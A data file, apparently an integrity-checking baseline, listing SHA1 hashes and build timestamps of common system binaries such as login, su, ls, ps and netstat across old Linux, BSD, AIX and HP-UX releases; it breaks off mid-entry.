/bin/login [Ubuntu 10.04] +E955401C45CBB9B948FB20CBA26543A0EDD07FB7 Fri Feb 12 00:38:27 2010 /bin/netstat [Ubuntu 10.04] +2386D6756EC85F7B7366F266ABD692323DC624AD Fri Feb 12 00:38:27 2010 /usr/sbin/arp [Ubuntu 10.04] +A1B43A43A2BF5F603E96D42F4E4400C0EFAD500A Fri Mar 5 03:29:52 2010 /bin/ls [Ubuntu 10.04] +572ACAD1E46523FEEB43663A580009DEB697F473 Fri Mar 5 03:29:52 2010 /bin/rm [Ubuntu 10.04] +61457472378DB0FC2B45A1AB0FBEF2FA14B99681 Tue Mar 9 13:22:56 2010 /usr/bin/find [Ubuntu 10.04] +534DEB8CAD2E5A8876D0B53A4EAB408A106DE447 Wed Apr 14 04:26:37 2010 /sbin/modinfo [Ubuntu 10.04] +E54C58E3A7119FF2F42E0415C10D9EE9A580CE3A Wed Dec 16 19:34:41 2009 /usr/bin/w [Ubuntu 10.04] +80018AD5DC87488C52033D95CBCBB740A8BC89B7 Thu Apr 1 19:22:56 2010 /bin/sh [Ubuntu 10.04] +3C512821B02D8C052982AF59A09477E50C106425 Sun Mar 7 03:23:02 2010 /usr/bin/telnet [Ubuntu 10.04] + +B8D60651D2C5154E5EE63978B4DBF5E0FCB8377C Wed Dec 16 19:34:43 2009 /bin/ps [Ubuntu 10.04 x86_64] +42E7E875E2C6D9B8787388E76185DD306870E5D6 Tue Jan 12 13:03:58 2010 /usr/sbin/update-inetd [Ubuntu 10.04 x86_64] +EDCF8B833CA55C0C5C153882E63AB6CEC1800BCA Tue Jan 26 17:09:07 2010 /bin/su [Ubuntu 10.04 x86_64] +35E2EFB21B3C21960B0EE3FCFEE8D153792E346F Tue Jan 26 17:09:07 2010 /bin/login [Ubuntu 10.04 x86_64] +05173162F138EE32C21047A04A918701F786A7F0 Fri Feb 12 01:15:25 2010 /usr/sbin/arp [Ubuntu 10.04 x86_64] +30CBED61DC258DC8787AF3FF2CCEAF3FB14B6B56 Fri Feb 12 01:15:25 2010 /bin/netstat [Ubuntu 10.04 x86_64] +E42198E1D30D68030C75DEAAC512BE50193139DC Fri Mar 5 03:41:17 2010 /bin/rm [Ubuntu 10.04 x86_64] +8B4BB8CE7F93984B1EBF9CE7A2708893D63FD8E9 Tue Sep 21 18:32:55 2010 /bin/rm [Ubuntu 10.04 x86_64] +9DF05263EEE6CA2F696B6B1A92D54CD99FB07BA2 Fri Mar 5 03:41:16 2010 /bin/ls [Ubuntu 10.04 x86_64] +800F2BC3209A557587996E08D6A4117DEACC25BC Tue Sep 21 18:32:55 2010 /bin/ls [Ubuntu 10.04 x86_64] +9E69CF4621EBF4368277315B17497937EED68EE5 Tue Mar 9 13:23:11 2010 /usr/bin/find [Ubuntu 10.04 x86_64] +372ECEAAE6EEED7740A620B136D8A5E8CBA168DB Wed Apr 14 04:36:51 2010 /sbin/modinfo [Ubuntu 10.04 x86_64] +DD9E1469EE3CE4DE13E85988F94D2EB75DBA2221 Thu Apr 1 23:29:39 2010 /bin/sh [Ubuntu 10.04 x86_64] +61BC44AC912AB1236EA5F55B63EFD143727A1DCF Wed Dec 16 19:34:43 2009 /usr/bin/w [Ubuntu 10.04 x86_64] +363B18EEECF34CCF38EB0207504A3FA41E5B2719 Sun Mar 7 04:16:54 2010 /usr/bin/telnet [Ubuntu 10.04 x86_64] + +31547D7FD8D683417A1F57BC9818EB84ADA3838E Fri Mar 26 08:00:00 2004 /bin/su [HP-UX B.11.23 ia64] +B17762B095C38AC2D40A3ECF85CFB8FF3B584137 Fri Aug 27 01:35:04 2004 /usr/sbin/fuser [HP-UX B.11.23 ia64] +31547D7FD8D683417A1F57BC9818EB84ADA3838E Fri Mar 26 08:00:00 2004 /usr/bin/su [HP-UX B.11.23 ia64] +DB6921E1300EBFA8B51CF1F2ACE3504578018BEC Fri Mar 26 08:00:00 2004 /sbin/ls [HP-UX B.11.23 ia64] +E5824D00EC5CEA3D2DAF91F23840FB08520D18D6 Fri Mar 26 08:00:00 2004 /bin/w [HP-UX B.11.23 ia64] +E5824D00EC5CEA3D2DAF91F23840FB08520D18D6 Fri Mar 26 08:00:00 2004 /usr/bin/w [HP-UX B.11.23 ia64] +AB41E3DF4086E9C97D1CE186C074901C3DE25390 Fri Aug 27 01:25:13 2004 /bin/telnet [HP-UX B.11.23 ia64] +AB41E3DF4086E9C97D1CE186C074901C3DE25390 Fri Aug 27 01:25:13 2004 /usr/bin/telnet [HP-UX B.11.23 ia64] +3D7E90B682BDF2CD7B2D98F3DD4F86F406AEFF30 Fri Aug 27 01:27:10 2004 /bin/login [HP-UX B.11.23 ia64] +3D7E90B682BDF2CD7B2D98F3DD4F86F406AEFF30 Fri Aug 27 01:27:10 2004 /usr/bin/login [HP-UX B.11.23 ia64] +839B67DD090B4872B5E07CA73C9B90E3E9138959 Fri Aug 27 01:29:05 2004 /bin/find [HP-UX B.11.23 ia64] +839B67DD090B4872B5E07CA73C9B90E3E9138959 Fri Aug 27 01:29:05 2004 /usr/bin/find [HP-UX B.11.23 ia64] +E3AE02A3E96D4BDCC0FB33CC0913B77156694EAD Fri Aug 27 01:31:16 2004 /usr/sbin/inetd [HP-UX B.11.23 ia64] +996F8F15EAE7C11FACB53C7D3FEC405FC870B47A Fri Aug 27 01:31:47 2004 /bin/rm [HP-UX B.11.23 ia64] +996F8F15EAE7C11FACB53C7D3FEC405FC870B47A Fri Aug 27 01:31:47 2004 /usr/bin/rm [HP-UX B.11.23 ia64] +F8F094AE7A1E236B29B5E099DDB6B011302D4AFF Fri Aug 27 01:31:47 2004 /sbin/rm [HP-UX B.11.23 ia64] +ED2620FF57BABFD7D7F0E3D5A20121CB3C7C854F Fri Aug 27 01:36:38 2004 /sbin/sh [HP-UX B.11.23 ia64] +5B9A7BC4A71FC357B7C5A466AC6E01FEE98B7212 Fri Aug 27 01:36:39 2004 /bin/sh [HP-UX B.11.23 ia64] +5B9A7BC4A71FC357B7C5A466AC6E01FEE98B7212 Fri Aug 27 01:36:39 2004 /usr/bin/sh [HP-UX B.11.23 ia64] +E4BD2596A1F2F0DA734B03F01A0C585925D38866 Fri Aug 27 01:46:30 2004 /usr/sbin/arp [HP-UX B.11.23 ia64] +89B74E3BBF8EF56D6F20288E3E06E67F416CF2D8 Fri Aug 27 01:46:13 2004 /bin/netstat [HP-UX B.11.23 ia64] +89B74E3BBF8EF56D6F20288E3E06E67F416CF2D8 Fri Aug 27 01:46:13 2004 /usr/bin/netstat [HP-UX B.11.23 ia64] +498934AB3B56783B68898FC432F782BE07E87F81 Fri Aug 27 01:47:16 2004 /bin/ls [HP-UX B.11.23 ia64] +498934AB3B56783B68898FC432F782BE07E87F81 Fri Aug 27 01:47:16 2004 /usr/bin/ls [HP-UX B.11.23 ia64] +C650DE39F1BA81E0B0DC3A2108001F8F23706695 Fri Aug 27 01:51:44 2004 /bin/ps [HP-UX B.11.23 ia64] +C650DE39F1BA81E0B0DC3A2108001F8F23706695 Fri Aug 27 01:51:44 2004 /usr/bin/ps [HP-UX B.11.23 ia64] +392FBBE7DD19B73638977701C8F8D0D46256325C Thu Nov 17 12:48:07 2005 /usr/sbin/proftpd [HP-UX B.11.23 ia64] +392FBBE7DD19B73638977701C8F8D0D46256325C Thu Nov 17 12:48:07 2005 /usr/sbin/in.proftpd [HP-UX B.11.23 ia64] +8912A367460655B0BE5B88E88C1F71ED1176ACB1 Thu May 18 05:22:05 2006 /usr/sbin/xinetd [HP-UX B.11.23 ia64] + +EAFB3AAAC97983476512E488F75DD169F5FA7A91 Sun Apr 7 10:24:08 2002 /usr/bin/find [Slackware 9.1] +E332FAD818EF01F79555EEFE4047ED1B2C99DECD Mon Jun 23 23:40:36 2003 /bin/su [Slackware 9.1] +A7BA13F1D82EB9878D7C1401B058A7565496FAE0 Mon Jun 23 23:40:36 2003 /bin/login [Slackware 9.1] +995E5569280ED83DB415FE3D7CE4B6A5D7D97C9E Fri Sep 12 03:29:46 2003 /usr/sbin/inetd [Slackware 9.1] +7D31AD696532F2FD933CDF64C11904B4346BBCEC Thu Sep 18 18:27:03 2003 /bin/rm [Slackware 9.1] +D5886038BA2BCBB2BA325BE61E271DB5C80A5537 Thu Sep 18 18:27:03 2003 /bin/ls [Slackware 9.1] +E10580D1C7CE71931F133E90781DCC2FBC5D02FC Mon Sep 22 03:52:44 2003 /usr/bin/w [Slackware 9.1] +E4EB2ED5A749EE85AEBD4BB04D5579A1724A8A29 Mon Sep 22 03:52:44 2003 /bin/ps [Slackware 9.1] +4E96BFBE6BD3D54573C8E0B968740AC5838934A7 Tue Sep 23 19:10:59 2003 /usr/sbin/proftpd [Slackware 9.1] +AA1BCA06605D9FB1E1CB4A3A637E42AF1E3D08DC Wed Sep 24 23:52:49 2003 /sbin/modinfo [Slackware 9.1] +FD3F51DF3AA1F1A2A5E43A59F06B53E2847EB1C2 Thu Sep 25 01:09:38 2003 /usr/sbin/in.rshd [Slackware 9.1] +A164362ABD9CD96036A0A83B0FB5DB00DACD8CF9 Thu Sep 25 01:09:38 2003 /usr/sbin/in.rlogind [Slackware 9.1] +CD1D2D79ED77B6059D6DC87609AB62586B495E09 Thu Sep 25 01:09:44 2003 /usr/sbin/in.telnetd [Slackware 9.1] +D866F732DF5879D3A8B938A73CF6A993AFEF2D6C Thu Sep 25 01:09:53 2003 /usr/sbin/in.tftpd [Slackware 9.1] +017D204F164C85CD55EF2E6BE793B4905DC7381B Thu Sep 25 01:09:26 2003 /sbin/arp [Slackware 9.1] +8034FB66B8BED2F369EE9419AF74B9D0856A0B10 Thu Sep 25 01:09:44 2003 /bin/telnet [Slackware 9.1] +A099EE6B6B30EBAF7EE22474E45553C11C2B7B75 Thu Sep 25 01:09:26 2003 /bin/netstat [Slackware 9.1] +D2AF07625565FA525394BD3A668EDADAC5E1C07D Mon Jun 23 23:15:47 2003 /bin/sh [Slackware 9.1] +D5886038BA2BCBB2BA325BE61E271DB5C80A5537 Thu Sep 18 18:27:03 2003 /usr/bin/ls [Slackware 9.1] +7D31AD696532F2FD933CDF64C11904B4346BBCEC Thu Sep 18 18:27:03 2003 /usr/bin/rm [Slackware 9.1] +E4EB2ED5A749EE85AEBD4BB04D5579A1724A8A29 Mon Sep 22 03:52:44 2003 /usr/bin/ps [Slackware 9.1] +4E96BFBE6BD3D54573C8E0B968740AC5838934A7 Tue Sep 23 19:10:59 2003 /usr/sbin/in.proftpd [Slackware 9.1] + +01090DF56E8BB6958F549016B0162F83F2DBEC5A Fri Jun 16 13:58:52 2006 /usr/bin/telnet [SuSE Enterprise 10.1 x86_64] +C2A56DBC77E2366D4CA8B4253631D6087FE674B8 Fri Jun 16 14:16:11 2006 /usr/sbin/xinetd [SuSE Enterprise 10.1 x86_64] +2DF0378E19ADD530EA0EC2C63C595B3E8F74DE56 Fri Jun 16 14:27:12 2006 /usr/bin/opieftpd [SuSE Enterprise 10.1 x86_64] +7562669FC11732D72145F2AA07F9BC8D00786334 Fri Jun 16 14:34:13 2006 /sbin/arp [SuSE Enterprise 10.1 x86_64] +8209995613567B78CA0CE055BB1488281D1A861C Fri Jun 16 14:34:12 2006 /bin/netstat [SuSE Enterprise 10.1 x86_64] +3082CE6C4372E3E7A8F26865B8135A9CB1D95291 Fri Aug 25 16:19:59 2006 /usr/bin/w [SuSE Enterprise 10.1 x86_64] +CC0F47F813613E0AB045932D9E89B0C6774C1A41 Fri Aug 25 16:19:59 2006 /bin/ps [SuSE Enterprise 10.1 x86_64] +62AF6B7B75496F28C4A775467C4B40BE88DE0EFE Thu May 3 13:27:33 2007 /sbin/modinfo [SuSE Enterprise 10.1 x86_64] +B9919ED9D91FE984427EBE3A3E486EDC12A53AC4 Thu May 3 13:29:16 2007 /usr/bin/find [SuSE Enterprise 10.1 x86_64] +95C267A3512BC1333A0B8485F0938B7F0501B90D Thu May 3 13:49:07 2007 /bin/su [SuSE Enterprise 10.1 x86_64] +8F4CD4DD7FA974717AEEFBBD59772D130736CC0E Thu May 3 13:49:07 2007 /bin/rm [SuSE Enterprise 10.1 x86_64] +6D358E53B7C790F9C5613A60A6E70BE8FA8E14BA Thu May 3 13:49:07 2007 /bin/ls [SuSE Enterprise 10.1 x86_64] +0288110135C5AF73FE2E76F88E70930D3AC6A415 Fri May 4 11:28:33 2007 /bin/login [SuSE Enterprise 10.1 x86_64] +76CFAFC72CF825AD7CA9332C5EE4E5D94EDF239D Thu May 3 13:27:22 2007 /bin/sh [SuSE Enterprise 10.1 x86_64] +3474D7C0FE46C7C98D16A7CE975E0E2EA633478F Fri Jun 16 14:16:11 2006 /usr/sbin/rcxinetd [SuSE Enterprise 10.1 x86_64] + +D0F84B7A9C6A3152DCDE152169FAAF4C8F569485 Tue Nov 23 06:33:11 2004 /bin/w [AIX 5.2] +D0F84B7A9C6A3152DCDE152169FAAF4C8F569485 Tue Nov 23 06:33:11 2004 /usr/bin/w [AIX 5.2] +977439CF9BCF728CBFA96F873C65E45570E4EBA8 Tue Nov 23 14:28:38 2004 /usr/sbin/arp [AIX 5.2] +4B2512805298D3246070C7DF013619211C937B3F Wed Apr 27 20:29:35 2005 /usr/sbin/netstat [AIX 5.2] +73831BCCBBBF09F210D109B522303A4162612A75 Wed May 18 04:22:49 2005 /bin/su [AIX 5.2] +73831BCCBBBF09F210D109B522303A4162612A75 Wed May 18 04:22:49 2005 /usr/bin/su [AIX 5.2] +584BD11E83A0938B5D334F7425D169B93820AC1D Sun May 22 22:57:33 2005 /bin/rm [AIX 5.2] +584BD11E83A0938B5D334F7425D169B93820AC1D Sun May 22 22:57:33 2005 /usr/bin/rm [AIX 5.2] +93B78CF800275598FA205D606E83BE7E18D390E8 Tue Jun 28 22:38:59 2005 /bin/ls [AIX 5.2] +93B78CF800275598FA205D606E83BE7E18D390E8 Tue Jun 28 22:38:59 2005 /usr/bin/ls [AIX 5.2] +CCAF4D0CFEFB201A5F410FF7413A2A94449EBCF6 Tue Jun 28 22:38:38 2005 /bin/sh [AIX 5.2] +CCAF4D0CFEFB201A5F410FF7413A2A94449EBCF6 Tue Jun 28 22:38:38 2005 /usr/bin/sh [AIX 5.2] +FC2C0DD78E0571947831E78A073AE1568434F121 Sat Jul 9 12:50:44 2005 /bin/telnet [AIX 5.2] +FC2C0DD78E0571947831E78A073AE1568434F121 Sat Jul 9 12:50:44 2005 /usr/bin/telnet [AIX 5.2] +7DC2254A33B3E0CBEEC1523B1437FA5E63129DB6 Sat Jul 9 12:52:14 2005 /usr/sbin/rshd [AIX 5.2] +8970C451394C89BCDC11F5592BA33CBA4DE49B88 Sat Jul 9 12:52:11 2005 /usr/sbin/rlogind [AIX 5.2] +8A81A2A07B2CDD1818AB78860E285BA8E018D4BF Sat Jul 9 12:52:15 2005 /usr/sbin/krshd [AIX 5.2] +96B96118D94BEE2B2C4F1DC122387DFEEFB39E44 Sat Jul 9 12:52:14 2005 /usr/sbin/krlogind [AIX 5.2] +011291A365F97A5011DA694AB2C2572D30AB3A39 Sat Jul 9 12:52:13 2005 /usr/sbin/tftpd [AIX 5.2] +61E9D702793B7D8CFCC2D1C7C88703DD5A7EA2F8 Sat Jul 9 13:17:53 2005 /usr/sbin/inetd [AIX 5.2] +7B1D011A23362A69B1190FD2DE99C66BD2D4C1DA Sun Jul 10 15:19:02 2005 /bin/find [AIX 5.2] +7B1D011A23362A69B1190FD2DE99C66BD2D4C1DA Sun Jul 10 15:19:02 2005 /usr/bin/find [AIX 5.2] +92009667AF6BE103BB09EE2097E84011DE42C6EF Sat Jul 16 17:54:10 2005 /usr/sbin/login [AIX 5.2] +1B2C1532E5950A42D365D4194EEFED40C7E20F9B Wed Jul 20 17:57:10 2005 /bin/ps [AIX 5.2] +1B2C1532E5950A42D365D4194EEFED40C7E20F9B Wed Jul 20 17:57:10 2005 /usr/bin/ps [AIX 5.2] +9DC8761D53E2C011EBC235AB04264E1255CE262D Thu Jul 21 08:51:33 2005 /usr/sbin/telnetd [AIX 5.2] +D0773DE31934488087CDB18E02314AE66B338871 Thu Jul 21 08:51:26 2005 /usr/sbin/ftpd [AIX 5.2] +92009667AF6BE103BB09EE2097E84011DE42C6EF Sat Jul 16 17:54:10 2005 /bin/login [AIX 5.2] +92009667AF6BE103BB09EE2097E84011DE42C6EF Sat Jul 16 17:54:10 2005 /usr/bin/login [AIX 5.2] +4B2512805298D3246070C7DF013619211C937B3F Wed Apr 27 20:29:35 2005 /bin/netstat [AIX 5.2] +4B2512805298D3246070C7DF013619211C937B3F Wed Apr 27 20:29:35 2005 /usr/bin/netstat [AIX 5.2] + +7BEC0E63D125B7C1D4F219E871D173856C047CCD Wed Nov 25 12:07:23 2009 /sbin/modinfo [Fedora 13] +8B6F605633F95038D7A9F69DBFB49B863E148A8E Thu Nov 26 17:56:03 2009 /bin/find [Fedora 13] +4CB8E849510242FF85542E77986D392714BF5161 Fri Nov 27 12:05:36 2009 /usr/bin/telnet [Fedora 13] +94DB730A14168FFD9782B0D493E3B4E3BE2A3DCC Mon Feb 8 14:48:05 2010 /usr/bin/w [Fedora 13] +8B46D23956871150AEF860AFBDE03D592D5F11C0 Mon Feb 8 14:48:06 2010 /bin/ps [Fedora 13] +907093377EA0ED8203E23DA64E89AFD1BABA7149 Wed Apr 7 11:51:59 2010 /sbin/arp [Fedora 13] +16D8B1D22DC79F0A2671E083C82E2A93C66E0EE9 Wed Apr 7 11:52:00 2010 /bin/netstat [Fedora 13] +E3064EF0F08F5ECED501125B9DF917025FF73CC3 Mon Apr 12 13:24:46 2010 /bin/login [Fedora 13] +10FD4E39D7767D94F64F300704DF56BB70055D4A Wed Apr 28 14:51:09 2010 /bin/su [Fedora 13] +8B7CD918C69E2AD105B220E2C7999C38943BEFFB Wed Apr 28 14:51:08 2010 /bin/rm [Fedora 13] +E07C7870F4178E863595357F1FB5FB5AF943082B Wed Apr 28 14:51:08 2010 /bin/ls [Fedora 13] +D1AD6A75FCC2ED94C0CB141D82C1AC512C1A719D Wed Mar 31 12:14:39 2010 /bin/sh [Fedora 13] +8B6F605633F95038D7A9F69DBFB49B863E148A8E Thu Nov 26 17:56:03 2009 /usr/bin/find [Fedora 13] + +BAC0C820AF03B2297FA1CD831A2E3E4AA9BAEEA9 Fri Sep 9 16:05:05 2005 /usr/bin/telnet [SuSE 10.0] +B19E1F768FF6D72ED6D4F6C83E72FBFBAAE48542 Fri Sep 9 16:06:13 2005 /usr/bin/w [SuSE 10.0] +97A03902F03255149F72843B8CB8728211603B86 Fri Sep 9 16:06:13 2005 /bin/ps [SuSE 10.0] +D862389407F446A62B661E179EA0CA3A6DCDD57C Fri Sep 9 16:09:42 2005 /sbin/arp [SuSE 10.0] +9462A4B88B54DD6C919F9B22DF5A1F0DAF8BABE2 Fri Sep 9 16:09:42 2005 /bin/netstat [SuSE 10.0] +3095828C156D3E413A29B904DC3925832A7616B8 Fri Sep 9 16:26:38 2005 /usr/bin/find [SuSE 10.0] +FE514F6422F2F58E7B8485E960DC5464692DCD8D Fri Sep 9 18:29:29 2005 /bin/login [SuSE 10.0] +1A1F9C65E1149A13D3B436C63644952860AE0106 Sat Sep 10 05:56:47 2005 /bin/su [SuSE 10.0] +C0D1B3A96E8A6D06C7B11DFA7AF0975E3809D0D3 Sat Sep 10 05:56:47 2005 /bin/rm [SuSE 10.0] +DD3E0D20CE4DBC61B0C8CA0B60C2FBC3A1E28092 Sat Sep 10 05:56:47 2005 /bin/ls [SuSE 10.0] +EF3980A6054DCE416991D0E314949FA23FB297E1 Tue Sep 13 12:34:37 2005 /sbin/modinfo [SuSE 10.0] +E8594E3CDFA0FC9CE23FD5BAE524A2EF94211646 Fri Sep 9 16:12:09 2005 /bin/sh [SuSE 10.0] + +1B2ED7FF0B0918E97CAD169FA99DA590BB7DA7AE Thu Jul 13 16:07:56 2006 /usr/bin/find [RedHat Enterprise 5.1 x86_64] +EB00426B404DA0F5BB7775EEFB5F97823DA16541 Mon Aug 7 11:18:26 2006 /sbin/arp [RedHat Enterprise 5.1 x86_64] +391FA1069688D2DC83552A9DDF852A831E262620 Mon Aug 7 11:18:26 2006 /bin/netstat [RedHat Enterprise 5.1 x86_64] +054A6ADFE0E9B813273F20266688AFA3227B5D81 Wed Nov 8 13:48:22 2006 /usr/bin/telnet [RedHat Enterprise 5.1 x86_64] +CF11CA9807762DDC007B428004E38AD4D5E7A3E2 Mon Nov 27 16:47:11 2006 /bin/su [RedHat Enterprise 5.1 x86_64] +42EC43C53AFA44D49968BBF2D8D564BE3573CF75 Mon Nov 27 16:47:19 2006 /bin/rm [RedHat Enterprise 5.1 x86_64] +8B52E32532CC193E9BF90550C944854FF9F29DCB Mon Nov 27 16:47:19 2006 /bin/ls [RedHat Enterprise 5.1 x86_64] +C35B3476EC21A66C61A00A260A17EB96FAEA9F1D Tue Nov 28 14:06:40 2006 /usr/bin/w [RedHat Enterprise 5.1 x86_64] +E8F827861E1E5F8B6B86B17D15E5205A49E04F5F Tue Nov 28 14:06:40 2006 /bin/ps [RedHat Enterprise 5.1 x86_64] +45EC7C9583EB0A31BCE35F3532A9C3402D9F8DD7 Mon Jun 25 09:43:04 2007 /bin/login [RedHat Enterprise 5.1 x86_64] +9307FC84799314643A9641CC0103D183BEB1BC01 Wed Sep 5 16:57:53 2007 /sbin/modinfo [RedHat Enterprise 5.1 x86_64] +21BFF86E78A7194A1DD8BB0E76DAF8FF567512CB Wed Jul 12 07:11:42 2006 /bin/sh [RedHat Enterprise 5.1 x86_64] + +DDBB3DD96C0E88020E93C8BFF567344DEEE77031 Fri Feb 20 22:16:08 2009 /bin/login [SuSE 11.0] +9AB58B5EB47D96685221AB9539808F6A0F8A2D40 Fri Feb 20 22:17:04 2009 /usr/bin/opieftpd [SuSE 11.0] +9068239E54884404F46C877AB92B4D5843210666 Fri Feb 20 22:20:54 2009 /bin/su [SuSE 11.0] +67B56F64FA16DBD5F9F445D221A2FBD319D83B76 Fri Feb 20 22:20:54 2009 /bin/rm [SuSE 11.0] +5128FB035ADB221CBEC0C12E1D48D8668E2B90E5 Fri Feb 20 22:20:52 2009 /bin/ls [SuSE 11.0] +85EDBB5841C6C5A6CDF934470063908F775B45DF Sat Feb 21 02:40:16 2009 /usr/bin/telnet [SuSE 11.0] +7564AA8DCF3B56658E73AE35C6E64CE65A4004B3 Sat Feb 21 02:41:04 2009 /usr/bin/w [SuSE 11.0] +C808AB1DCD4DB1B4F1DC462895E4BD31AFCD7CF1 Sat Feb 21 02:41:04 2009 /bin/ps [SuSE 11.0] +935753EFEFB1F4E48F01CF15078CF6B703F28534 Sat Feb 21 02:41:46 2009 /sbin/arp [SuSE 11.0] +A94EE0DFA4A9A5259124855B52FB253881BCC61A Sat Feb 21 02:41:46 2009 /bin/netstat [SuSE 11.0] +2F34FAA1C709F9048E516B9FFF84D8942E3DEC6B Sat Feb 21 02:49:33 2009 /sbin/modinfo [SuSE 11.0] +C19A43CB435E1FAB0C5BF027AC1932B59873372F Sat Feb 21 02:54:52 2009 /usr/bin/find [SuSE 11.0] +01992E8395877997B0E705BBAC749B022DE0C677 Sat Feb 21 05:33:50 2009 /usr/sbin/in.tftpd [SuSE 11.0] +F4EA40A59608F0A22E7BDEFE72A6F9637616F13D Sat Feb 21 05:35:04 2009 /usr/sbin/xinetd [SuSE 11.0] +B638B780F67D7BB1B77CD52A1E6C76D867398364 Mon Feb 23 21:06:12 2009 /usr/sbin/pure-ftpd [SuSE 11.0] +0E458542F392D4102B5FC59005B2168DB90BA462 Sat Feb 21 03:04:45 2009 /bin/sh [SuSE 11.0] +0E458542F392D4102B5FC59005B2168DB90BA462 Sat Feb 21 03:04:45 2009 /usr/bin/sh [SuSE 11.0] +F67A7231F392B95451E9554DCD12A8DC90BC9823 Mon Feb 23 21:06:11 2009 /usr/sbin/rcpure-ftpd [SuSE 11.0] +4F7719469820CE454672F8DDD45A5CB6A7924195 Sat Feb 21 05:35:03 2009 /usr/sbin/rcxinetd [SuSE 11.0] + +8D23FFFB481278F0A7D220240A3DA1C53A6DA751 Sat Dec 1 09:10:47 2007 /usr/bin/telnet [CentOS 5.5] +973A582775C20D9DBFFEC4835F9739CC03F15BB8 Thu Sep 3 18:09:22 2009 /usr/bin/find [CentOS 5.5] +E53412C0CD56C606DE2311006734726AD7D91D9B Wed Jan 20 10:43:02 2010 /bin/login [CentOS 5.5] +1FB124DBE184AA022A4FCEB33DA55396C64DAFAA Tue Jan 26 23:43:34 2010 /sbin/arp [CentOS 5.5] +EFDB1B03637D21BE62B56E29E0F4EF06A8C43E78 Tue Jan 26 23:43:34 2010 /bin/netstat [CentOS 5.5] +C1C4C38E77100879309D6F8B1E44524AA6489579 Sun Feb 28 22:33:18 2010 /bin/su [CentOS 5.5] +2C3DABE530EA6C96C8C78B9433761FDFC0EFE8BC Sun Feb 28 22:33:21 2010 /bin/rm [CentOS 5.5] +0B7E2707ACD3E461A78BCCBE307A4B198AB6AFE2 Sun Feb 28 22:33:21 2010 /bin/ls [CentOS 5.5] +283E83268D36ADE55513C75BEB71AD61471DD938 Wed Mar 31 04:53:48 2010 /usr/bin/w [CentOS 5.5] +E7A9D6DB9690B2B4E6CCD18F86B7017F467F7B39 Wed Mar 31 04:53:49 2010 /bin/ps [CentOS 5.5] +34BE10E984D663C454BF061CAF85C52D12BAA128 Wed Mar 31 07:08:49 2010 /sbin/modinfo [CentOS 5.5] +551F9D3712772E41276911372F45D7083A1A6035 Thu Jan 22 01:14:14 2009 /bin/sh [CentOS 5.5] + +B58B0557964A0041D5C9FB02A2AF1B72FFF42010 Thu Mar 15 03:49:08 2007 /usr/sbin/xinetd [CentOS 5.4 x86_64] +C84F18C9DC7FA44291CE72FF55D56FD05D32E3DA Sat Dec 1 09:10:50 2007 /usr/bin/telnet [CentOS 5.4 x86_64] +7BB5A4E7F1EAA315F25DE52E90FD59A6D0EC1B03 Sun May 25 06:26:25 2008 /sbin/arp [CentOS 5.4 x86_64] +C77A3C060753C093AD265A4FF5ABA50417286DE0 Sun May 25 06:26:25 2008 /bin/netstat [CentOS 5.4 x86_64] +10E485B2A78FFBF649997094B03F87BECA887CA8 Wed Jan 21 08:39:48 2009 /usr/bin/w [CentOS 5.4 x86_64] +89A4A0156366F50C66493B6833EDAE0E7E46ED0A Wed Jan 21 08:39:48 2009 /bin/ps [CentOS 5.4 x86_64] +2F8C163C1AC59FBF4325952D26B5D4BB6194237E Thu Sep 3 18:06:19 2009 /usr/bin/find [CentOS 5.4 x86_64] +CA9E466B6BEA44F8BC30461B26F7DF49E96D3B9C Thu Sep 3 19:52:31 2009 /bin/login [CentOS 5.4 x86_64] +4EED9155B85BE2FF22A591FAB85952F9B40670FD Thu Sep 3 22:21:57 2009 /bin/su [CentOS 5.4 x86_64] +1B7ABAAC9503E82298386DFE014B7C6007FEE6CB Thu Sep 3 22:22:05 2009 /bin/rm [CentOS 5.4 x86_64] +14A2CE9CBCF4B1FB416E2DF75185585972D0856A Thu Sep 3 22:22:05 2009 /bin/ls [CentOS 5.4 x86_64] +A57712E48D85F8EF8E1C447EE2780C3D416B181A Thu Sep 3 23:27:23 2009 /sbin/modinfo [CentOS 5.4 x86_64] +74D8D7E07EEFB84D57C45A7DDD682BA13E675761 Thu Jan 22 01:15:24 2009 /bin/sh [CentOS 5.4 x86_64] + +7E35987A1B03B968AD39CB8138AD664F464915EE Fri Nov 5 01:24:59 2004 /bin/ls [FreeBSD 5.3] +436A3539E4CCF9C86DB4FE08E867C5B41A38DB36 Fri Nov 5 01:24:59 2004 /bin/ps [FreeBSD 5.3] +FA7E9CC0FE132674A88490F1FE8134B043B28644 Fri Nov 5 01:25:00 2004 /bin/sh [FreeBSD 5.3] +8CEA87A69D31AE9EB5EEDE9AF647667A7CD5A9D4 Fri Nov 5 01:25:00 2004 /bin/rm [FreeBSD 5.3] +67C5FE81BE541AFE447C16DF687FD4E417BF5850 Fri Nov 5 01:26:44 2004 /usr/bin/su [FreeBSD 5.3] +2393EC4EAE20B879D9F6B6E66A9F5F6ED0C8EACE Fri Nov 5 01:26:39 2004 /usr/bin/login [FreeBSD 5.3] +AC2228D8E10599E1BB895B44ADD8707E97CC7B72 Fri Nov 5 01:26:41 2004 /usr/bin/netstat [FreeBSD 5.3] +A4A6F40D9E0EAFD86F344D2DAAEAB7778C27E224 Fri Nov 5 01:26:51 2004 /usr/sbin/arp [FreeBSD 5.3] +241E7B766A632247815E5F7D13F31D877BD63B59 Fri Nov 5 01:26:35 2004 /usr/bin/find [FreeBSD 5.3] +88BFE42EE021823779F73FB8C4F2535C8AE6705A Fri Nov 5 01:26:56 2004 /usr/sbin/inetd [FreeBSD 5.3] +F35B170FBA5186F35F035575B8E36C78447AD504 Fri Nov 5 01:26:44 2004 /usr/bin/telnet [FreeBSD 5.3] +958012F27E68B39B70B087AFA0F333402977E9FD Fri Nov 5 01:26:47 2004 /usr/bin/w [FreeBSD 5.3] + +44A52252554D2606C92B16524CD8B352F7620C39 Fri Sep 3 19:53:18 2004 /usr/sbin/inetd [Slackware 12.2] +6936E4BC9B71BFCA2C531BFD3D9BDB4F7EA8FD29 Wed Dec 20 00:07:25 2006 /usr/bin/w [Slackware 12.2] +E3C3C72A12AA36C26B1BA11BC974BF8DBB720457 Wed Dec 20 00:07:25 2006 /bin/ps [Slackware 12.2] +C36E494E5F3685951406CE95A1A44CA4BC161EF4 Mon Apr 30 04:34:50 2007 /usr/sbin/in.rshd [Slackware 12.2] +D9CA5386D69D3D0B70A03F2E3C840D25422F6750 Mon Apr 30 04:34:50 2007 /usr/sbin/in.rlogind [Slackware 12.2] +D20C2A1F8296B74AE0025575ABE049A6A10ABB13 Mon Apr 30 04:35:08 2007 /usr/sbin/in.telnetd [Slackware 12.2] +AEC49920D443B3CE76AC9A31290C6B1E6B3C2ACB Mon 